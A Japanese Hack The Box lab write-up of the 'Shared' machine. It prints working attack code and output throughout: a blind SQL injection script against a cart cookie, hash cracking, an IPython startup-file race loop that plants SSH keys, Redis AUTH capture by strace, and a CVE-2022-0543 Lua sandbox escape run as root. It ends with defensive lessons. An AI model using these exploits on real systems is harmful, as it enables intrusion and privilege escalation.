Hack The BoxのWriteup(Shared)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Shared — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80/443、TLS証明書でshared.htb確認
checkout.shared.htb発見
custom_cart Cookie
Blind SQLi
商品参照IDが注入点
hashcat crack
james_mason:Soleil101
IPython startup file race
GHSA-pq7m-3gw7-gq5x
dan_smith シェル取得
user.txt ✓
Redisバイナリ strace
AUTHパスワード奪取
CVE-2022-0543
Lua sandbox escape EVAL RCE
root.txt ✓

ポートスキャンとターゲット確認

BASH
nmap -Pn -p22,80,443,445,3389,88,389 -T4 --open 10.129.53.174
RESULT
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https

Nmap done: 1 IP address (1 host up) scanned in 0.30 seconds
⚠️
注意: このラボ環境では同一IPが過去に別のHTBマシンへ割り当てられていたことがあり、 /etc/hostsに古いfluffy.htb等の記録が残存していた。445/3389/88/389が すべて閉じていることから、これは別インスタンスの残骸であり現在のライブターゲットではないと判断。

TLS証明書とHTTPリダイレクトでマシンを確定

BASH
curl -sv http://10.129.53.174/ 2>&1 | head -20
curl -skv https://10.129.53.174/ 2>&1 | grep -A3 "subject:"
RESULT
< HTTP/1.1 301 Moved Permanently
< Location: http://shared.htb

* Server certificate:
*   subject: C=US; ST=None; L=None; O=HTB; CN=*.shared.htb
ターゲット確定: TLS証明書のCommon Name (*.shared.htb) と HTTPリダイレクト先(http://shared.htb)の両方で、対象IPが確かに HackTheBox「Shared」マシンであることを確認した。

hostsファイルへの登録

BASH
echo "10.129.53.174 shared.htb" | sudo tee -a /etc/hosts
PHASE 2

Web調査 — PrestaShop カート & checkout.shared.htb 発見

PrestaShop ショップの確認

BASH
curl -sk https://shared.htb/index.php -o index.html
grep -oE 'id_product=[0-9]*' index.html | sort -u
RESULT
id_product=1
id_product=2
...
id_product=8
ℹ️
トップページは衣料品を扱う PrestaShop ショップ。INSTALL.txt等の PrestaShop自体の既知脆弱性は本インスタンスでは有効な突破口にならず、 「カートに追加」の導線を辿ることが本命と判断。

商品参照ID (SKU) の取得

BASH
curl -skL "https://shared.htb/index.php?id_product=1&controller=product" -o product1.html
grep -n -A2 "Reference" product1.html
RESULT
<div class="product-reference">
  <label class="label">Reference </label>
  <span>53GG2EF8</span>
</div>
⚠️
商品参照ID (SKU) はインスタンス毎に乱数で生成される (公開writeupの値YCS98E4Aとは異なる)。攻撃の度に動的取得が必須。

カート追加で checkout.shared.htb と custom_cart Cookie を発見

BASH
curl -sk -c cookies.txt "https://shared.htb/index.php?controller=cart&id_product=1&qty=1&add=1&action=update"
cat cookies.txt
RESULT
.shared.htb  TRUE  /  TRUE  ...  custom_cart  %7B%2253GG2EF8%22%3A%221%22%7D
#HttpOnly_.shared.htb  ...  PrestaShop-xxxx  ...
#HttpOnly_shared.htb   ...  PHPSESSID  ...

# URL-decode: {"53GG2EF8":"1"}
🚨
重要発見: custom_cart Cookieは {"<商品参照ID>":"<数量>"} というJSONをURL-encodeしたもの。 レスポンス内で checkout.shared.htb への遷移リンクを確認し、 このサブドメインを /etc/hosts に追加。
PHASE 3

custom_cart Cookie の Content-Based Blind SQLi

SQLi の存在確認 (真偽条件での応答差分)

PYTHON
import urllib.parse, subprocess, json
REF = "53GG2EF8"

def fetch(cond):
    payload = f"{REF}' AND ({cond})#"
    cookie_val = urllib.parse.quote(json.dumps({payload: "1"}), safe="")
    cmd = ["curl","-sk","-H",f"Cookie: custom_cart={cookie_val}",
           "https://checkout.shared.htb/"]
    return subprocess.run(cmd, capture_output=True, text=True).stdout

print(fetch("1=1"))   # 真
print(fetch("1=2"))   # 偽
RESULT (diff)
--- 1=1 (真) ---
<td>53GG2EF8</td><td>1</td><td>$23,90</td>

--- 1=2 (偽) ---
<td>Not Found</td><td>0</td><td>$0,00</td>
SQLi確認成功。 条件が真なら商品情報が返り、偽なら "Not Found"になる。この差分をオラクルとして二分探索でデータを抽出できる。

二分探索によるデータ抽出スクリプト

PYTHON (oracle.py)
def oracle(cond: str) -> bool:
    payload = f"{REF}' AND ({cond})#"
    cookie_val = urllib.parse.quote(json.dumps({payload: "1"}), safe="")
    out = curl_with_cookie(cookie_val)
    return "Not Found" not in out

def get_length(subquery: str, maxlen=200) -> int:
    lo, hi = 0, maxlen
    while lo < hi:
        mid = (lo + hi) // 2
        if oracle(f"LENGTH(({subquery}))>{mid}"): lo = mid + 1
        else: hi = mid
    return lo

def get_string(subquery: str) -> str:
    length = get_length(subquery)
    result = ""
    for pos in range(1, length + 1):
        lo, hi = 32, 126
        while lo < hi:
            mid = (lo + hi) // 2
            if oracle(f"ASCII(SUBSTRING(({subquery}),{pos},1))>{mid}"): lo = mid + 1
            else: hi = mid
        result += chr(lo)
    return result

DB / テーブル / カラム / データの抽出

BASH
python3 oracle.py raw "SELECT DATABASE()"
python3 oracle.py raw "SELECT GROUP_CONCAT(table_name SEPARATOR ',') FROM information_schema.tables WHERE table_schema=DATABASE()"
python3 oracle.py raw "SELECT GROUP_CONCAT(column_name SEPARATOR ',') FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='user'"
python3 oracle.py raw "SELECT username FROM user LIMIT 1"
python3 oracle.py raw "SELECT password FROM user LIMIT 1"
RESULT
DATABASE()      : checkout
tables          : user,product
user columns    : id,username,password
username        : james_mason
password (MD5)  : fc895d4eddc2fc12f995e18c865cf273
資格情報抽出成功。 checkoutデータベースのuserテーブルから MD5ハッシュ化されたパスワードを1文字ずつ確定した。
PHASE 4

ハッシュクラック & james_mason SSH

hashcat + rockyou でMD5クラック

BASH
echo "fc895d4eddc2fc12f995e18c865cf273" > james_mason.hash
hashcat -m 0 -a 0 james_mason.hash /usr/share/wordlists/rockyou.txt -o cracked.txt --force
cat cracked.txt
RESULT
Status...........: Cracked
Recovered........: 1/1 (100.00%) Digests

fc895d4eddc2fc12f995e18c865cf273:Soleil101

SSHログインとグループ確認

BASH
sshpass -p 'Soleil101' ssh james_mason@10.129.53.174 "id; find / -group developer 2>/dev/null"
RESULT
uid=1000(james_mason) gid=1000(james_mason) groups=1000(james_mason),1001(developer)
/opt/scripts_review
⚠️
注意: user.txtは /home/james_mason/ ではなく /home/dan_smith/ にのみ存在する。developerグループが 書込み可能な /opt/scripts_review (770, root:developer) を足掛かりに dan_smithへの昇格が必須と判明。
PHASE 5

IPython Startup File レース → dan_smith → user.txt

脆弱性メカニズムの実証 (GHSA-pq7m-3gw7-gq5x)

BASH
mkdir -p /tmp/test_ipy/profile_default/startup
echo "with open('/tmp/.probe_hit','w') as f: f.write('hit')" \
  > /tmp/test_ipy/profile_default/startup/probe.py
cd /tmp/test_ipy && echo '' | ipython
cat /tmp/.probe_hit
RESULT
IPython 8.0.0 -- An enhanced Interactive Python.
startup file executed
ℹ️
IPython 8.0.0 はカレントディレクトリprofile_default/startup/*.py があると、$HOME/.ipythonとは無関係に自動実行する (Execution with Unnecessary Privileges, GHSA-pq7m-3gw7-gq5x)。 dan_smithの毎分cron (pkill ipython; cd /opt/scripts_review && ipython) がこれを踏むため、developer権限で書込み可能な当該ディレクトリに ペイロードを仕込めば dan_smith としてコード実行できる。

第一の壁: 「1分待つだけ」では発火しない

NOTE
まず素直に profile_default/startup/hola.py (authorized_keys 追記ペイロード) を
配置し1分待ったが、SSH鍵認証もマーカーファイルも一切反応しなかった。
pspyが使えない環境のため、独自にディレクトリの状態変化を継続監視した:

[poll 1〜3] (同一分内, 3回) : profile_default/ が存在 → まだ消えていない
[poll 4]    (次の分の頭)    : profile_default/ が消滅 (ディレクトリのwipeを確認)

→ ファイルは"丸々1分間"存在し続けたにも関わらず一度も実行されなかった。
  これは「wipeがipython起動"後"に発生する」という前提(walkthrough記載)とは
  矛盾する。実際には wipe は ipython 起動"前"、cron発火の瞬間に
  サブ秒級で発生していると判断した。
BASH
# 40秒間、1秒間隔でipythonプロセスの出現を監視
for i in $(seq 1 40); do
  ps -eo pid,uid,cmd | grep -i ipython | grep -v grep
  sleep 1
done
RESULT
(40回とも検出なし — cron実行が1秒未満で完了する短命プロセスであることを示唆)

解決策: 分境界をまたぐ無停止レースループ

BASH (race_loop.sh, ターゲット上でjames_masonとして実行)
mkdir -p /opt/scripts_review/profile_default/startup 2>/dev/null
END=$((SECONDS+130))
count=0
while [ $SECONDS -lt $END ]; do
  mkdir -p /opt/scripts_review/profile_default/startup 2>/dev/null
  cp /tmp/hola_payload.py /opt/scripts_review/profile_default/startup/hola.py 2>/dev/null
  chmod -R 777 /opt/scripts_review/profile_default 2>/dev/null
  count=$((count+1))
done
echo "RACE_DONE count=$count"
RESULT
RACE_DONE count=35323   # 130秒で約35,000回の再設置 (毎秒約272回)

# ターゲット側マーカー (dan_smith権限で2回のcron境界を捕捉):
2026-08-28 11:33:02.873275 uid=1001
2026-08-28 11:34:02.448603 uid=1001
レース成立! スリープを挟まずペイロードを置き続けることで、 cronの「wipe → cd → ipython起動 → startup読込」という一連の処理の隙間 (サブ秒級) に運良くファイルが存在するタイミングを作り出せた。 ちょうど分境界 (:33:02, :34:02) で2回連続発火を捕捉。 ペイロードは dan_smith の ~/.ssh/authorized_keys に 攻撃者公開鍵を追記する内容にし、reverse shellより確実な永続アクセスを確保した。

dan_smithとしてSSHログイン & user.txt取得

BASH
ssh -i dan_smith_key dan_smith@10.129.53.174 "id; cat /home/dan_smith/user.txt; groups"
RESULT
uid=1001(dan_smith) gid=1002(dan_smith) groups=1002(dan_smith),1001(developer),1003(sysadmin)
66af2fe6bbae681a6c2ccaa939c59de1
user.txt — dan_smith
66af2fe6bbae681a6c2ccaa939c59de1
PHASE 6

Redis権限昇格 (CVE-2022-0543) → root.txt

sysadmin グループの所有物とredis-serverの実行者

BASH
ssh -i dan_smith_key dan_smith@10.129.53.174 "find / -group sysadmin 2>/dev/null; ps auxww | grep redis"
RESULT
/usr/local/bin/redis_connector_dev   # -rwxr-x--- root:sysadmin, Goバイナリ
root      /usr/bin/redis-server 127.0.0.1:6379
🚨
redis-serverroot権限で稼働している。 redis_connector_devバイナリが使うAUTHパスワードを入手できれば、 root権限でRedisコマンドを実行できる。

strace + SSHポートフォワードでAUTHパスワードをワイヤから奪取

NOTE
redis_connector_dev はGoバイナリで、AUTHパスワードを実行時に組み立てるため
`strings`による静的解析では取得できない (walkthrough記載の手法もここでつまずいている)。
ターゲットにはstrace/ltraceが存在しないため、バイナリごとKaliへ回収し、
SSHローカルポートフォワード越しに手元でstraceする方針に切替えた。
バイナリはIPv6ループバック([::1]:6379)を優先して接続するため、
IPv4/IPv6両方をフォワードする必要がある点に注意。
BASH
scp -i dan_smith_key dan_smith@10.129.53.174:/usr/local/bin/redis_connector_dev .
chmod +x redis_connector_dev

# IPv4/IPv6 両方のループバック 6379 をフォワード
ssh -i dan_smith_key -N \
  -L 127.0.0.1:6379:127.0.0.1:6379 \
  -L [::1]:6379:127.0.0.1:6379 \
  dan_smith@10.129.53.174 &

strace -f -s 200 -e trace=write ./redis_connector_dev 2>&1 \
  | grep -E "auth|connect"
RESULT
connect(6, {sa_family=AF_INET6, ... sin6_port=htons(6379) ... "::1" ...}) = -1 EINPROGRESS
write(6, "*2\r\n$4\r\nauth\r\n$16\r\nF2WHqJUz2WEz=Gqq\r\n", 37) = 37
AUTHパスワード奪取成功: F2WHqJUz2WEz=Gqq — ワイヤ上に平文で流れる16バイトのRedis AUTHコマンドを直接観測できた。

CVE-2022-0543 (Redis Lua Sandbox Escape) でEVAL RCE

BASH
redis-cli -h ::1 -p 6379 -a 'F2WHqJUz2WEz=Gqq' eval \
  "local io_l = package.loadlib('/usr/lib/x86_64-linux-gnu/liblua5.1.so.0', 'luaopen_io'); \
   local io = io_l(); \
   local f = io.popen('id', 'r'); \
   local res = f:read('*a'); \
   f:close(); \
   return res" 0
RESULT
uid=0(root) gid=0(root) groups=0(root)
RCE成功、root権限確認! Debianパッケージ版Redis(6.0.15)は Lua標準ライブラリのpackage.loadlibを無効化していないため、 システムのliblua5.1.so.0を動的ロードしてioライブラリの サンドボックス外機能 (io.popen) を復活させ、任意コマンド実行に至った。

root.txt取得

BASH
redis-cli -h ::1 -p 6379 -a 'F2WHqJUz2WEz=Gqq' eval \
  "local io_l = package.loadlib('/usr/lib/x86_64-linux-gnu/liblua5.1.so.0', 'luaopen_io'); \
   local io = io_l(); \
   local f = io.popen('cat /root/root.txt', 'r'); \
   local res = f:read('*a'); \
   f:close(); \
   return res" 0
RESULT
74d0ac85016d36eefea47fbfff5d7f9a
root.txt — root
74d0ac85016d36eefea47fbfff5d7f9a
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — dan_smith
66af2fe6bbae681a6c2ccaa939c59de1
root.txt — root
74d0ac85016d36eefea47fbfff5d7f9a

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
Blind SQLi PrestaShop custom_cart Cookie (checkout.shared.htb) データベース内容の窃取 High 商品参照IDに' AND (...)#を注入、”Not Found”応答の有無を オラクルとした二分探索でuser/passwordを抽出
GHSA-pq7m-3gw7-gq5x IPython 8.0.0 (startup files) 他ユーザー権限でのコード実行 (dan_smith) High developerグループ書込み可能ディレクトリにprofile_default/startup/*.py を配置、毎分cronでのipython起動を悪用。ディレクトリwipeがipython起動前の サブ秒級レースであることを突き止め、無停止ループで再設置し続けて発火させた
CVE-2022-0543 Redis 6.0.15 (Debianパッケージ, Lua sandbox) リモートコード実行 (root) Critical package.loadlibでシステムのliblua5.1.so.0を ロードしio.popenを復活、EVALコマンドで任意コマンド実行

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + TLS証明書CN確認22/80/443、shared.htb確定
2Web調査カート追加でサブドメイン発見checkout.shared.htb、custom_cart Cookie構造
3Blind SQLi二分探索 (LENGTH+ASCII/SUBSTRING)james_mason:MD5ハッシュ
4クラックhashcat + rockyoujames_mason:Soleil101 でSSH
5横展開IPython startup file レース (busy loop)user.txt 取得 (dan_smith)
6権限昇格strace AUTH奪取 + CVE-2022-0543root.txt 取得 (root)

学んだ教訓 & 防御策

問題点防御策
カート機能のCookie値がサニタイズ無しでSQLクエリに直接連結されている すべての入力をプレースホルダ付きパラメータ化クエリで処理する。Cookie等クライアント制御値を信頼しない。
一般ユーザーが他ユーザーのIPython起動ディレクトリに書込み可能 共有作業ディレクトリでのインタプリタ起動を避ける。IPythonのc.InteractiveShellApp.exec_filesや startup機構は信頼できないディレクトリで動かさない。最小権限のcron専用ユーザー分離を徹底する。
root権限でRedisを稼働させ、独自バイナリにAUTHパスワードを埋め込んでいる Redisは非rootの専用ユーザーで稼働させる。認証情報をバイナリに埋め込まずシークレット管理サービスを使う。 Lua package.loadlib等の危険な機能はACLで制限する (Redis 6+のACLで EVALコマンド自体も制限可能)。CVE-2022-0543のパッチ適用を徹底する。
HackTheBox: Shared | 完全攻略レポート